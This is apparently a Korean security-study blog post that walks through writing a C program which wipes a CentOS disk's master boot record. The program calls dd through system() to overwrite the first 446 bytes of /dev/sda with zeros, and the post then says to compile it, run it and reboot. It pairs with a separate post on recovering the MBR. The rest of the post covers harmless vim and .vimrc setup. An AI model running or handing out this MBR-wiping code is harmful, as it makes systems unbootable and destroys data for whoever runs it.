-
CentOS에서 MBR 삭제하는 프로그래밍 하기보안 위협 관리 통제 2019. 5. 12. 00:08
CentOS 6.10에서 MBR 복구하기
위와 같은 주제를 이야기 하기 전 먼저 MBR이 무엇인지에 대하여 이야기 해보자. 1. MBR이 무엇인가 ? MBR은 마스터 부트 레코드(영어: master boot record)로 파티션된 기억 장치의 첫 섹터 (섹터 0)인 512 바이..
mcalley.tistory.com
위에 링크에서 MBR을 삭제하고 MBR을 복구하는 것을 해보았다.
그때 했던 MBR을 삭제했던 명령어가 간단했기 때문에 프로그램을 실행시키면 자동으로 삭제 될 수있도록 프로그램밍을 해보자
먼저 화자는 C언어만 배웠기 때문에 C언어를 사용하도록 하겠다.
자신이 배운 언어를 사용해서 해당 명령어들이 프로그램을 실행했을 때에 OS에 입력되어
MBR을 삭제하도록 하면된다. 먼저 C언어를 프로그램을 하기위한 환경을 구축한뒤 아래와 같이 프로그램을 작성하자.
먼저 간단히 설명하자면 '#include<stdlib.h>'과 'system("명령어");'이 있으면 명령어가 실행된다.
그래서 순서는 다음과 같다.
1. 아래와 같이 프로그래밍 언어를 작성한다.
파일명 : delete_mbr.c
-- delete_mbr.c --
#include<stdlib.h>
#include<stdio.h>
int main()
{
system("dd if=/dev/sda of=mbr1.dd bs=446 count=1");
system("dd if=/dev/zero of=/dev/sda bs=446 count=1");
system("dd if=/dev/sda of=mbr2.dd bs=446 count=1");
system("hexdump mbr1.dd");
system("hexdump mbr2.dd");
return 0;
}
-- delete_mbr.c --
2. 컴파일을 한 뒤 프로그램을 실행후 reboot
# gcc -Wall -o delete_mbr delete_mbr.c
# ./delete_mbr
# reboot
* 참고 *
아래는 리눅스에서 C언어를 사용하기 위한 vi 편집기 설정하는 내용입니다.
따로 노하우 부분에도 작성할 예정이지만 이곳에도 간단히 적어둡니다.
프로그래밍과 디버깅에 필요한 gcc, g++, make, gdb 등은 설치되었다고 가정하고 시작합니다.
1. vim 패키지 설치
먼저 자신의 홈디렉터리로 이동해서 vi 의 확장 버전인 vim 패키지를 설치하고 vi의 alias 를 설정합니다.
alias 설정을 영구적으로 사용하기 위해서 vi의 alias 설정을 .bashrc 파일에 추가합니다.
# cd <--- 자신의 홈디렉토리로 이동한다.
# yum -y install vim <---- vim 설치
# alias vi='vim' <---이거는 취향이다.
# echo alias vi=\'vim\' >> .bashrc <---이거는 취향이다.
2. vi 환경설정 파일 설정
이제 자신의 홈디렉토리에 vi 의 환경설정 파일인 .vimrc 파일을 생성해서 아래와 같이 넣어줍니다.
# vi .vimrc-- .vimrc --
set nu "nu는 번호를 표시
set ai "ai는 자동 들여쓰기
set ci "ci는 C언어 들여쓰기
set ts=4 "ts는 탭크기
set sw=4
set expandtab "expandtab 탭을 공백으로 변경
set fileencodings=utf-8,euckr "문서의 종류에 따라 자동 변환
set bg=dark "bg 배경색
" <cr> : 엔터
" % : 전체 문서
" %< : 확장자를 제거한 파일명
map <F2> :w<cr>:!gcc -Wall -o %< %<cr>:!./%<<cr>
" F2 을 누르면: 자동 컴파일 및 실행 설정
map <F3> :w<cr>:!gcc -Wall -g -o %< %<cr>:!gdb -q %<<cr>
" F3을 누르면 : 자동 컴파일 및 디버깅 설정
-- .vimrc --
홈 디렉토리에 .vimrc 파일 '보안 위협 관리 통제' 카테고리의 다른 글
Domain 정보 수집 중 zone transfer를 통한 정보수집 (0) 2019.05.14 Domain 정보 수집 중 whois(site, nc, telnet 등)을 통한 정보수집 (0) 2019.05.14 정보 수집 (0) 2019.05.12 디렉터리 리스팅 막기 (0) 2019.05.12 CentOS 6.10에서 MBR 복구하기 (0) 2019.05.11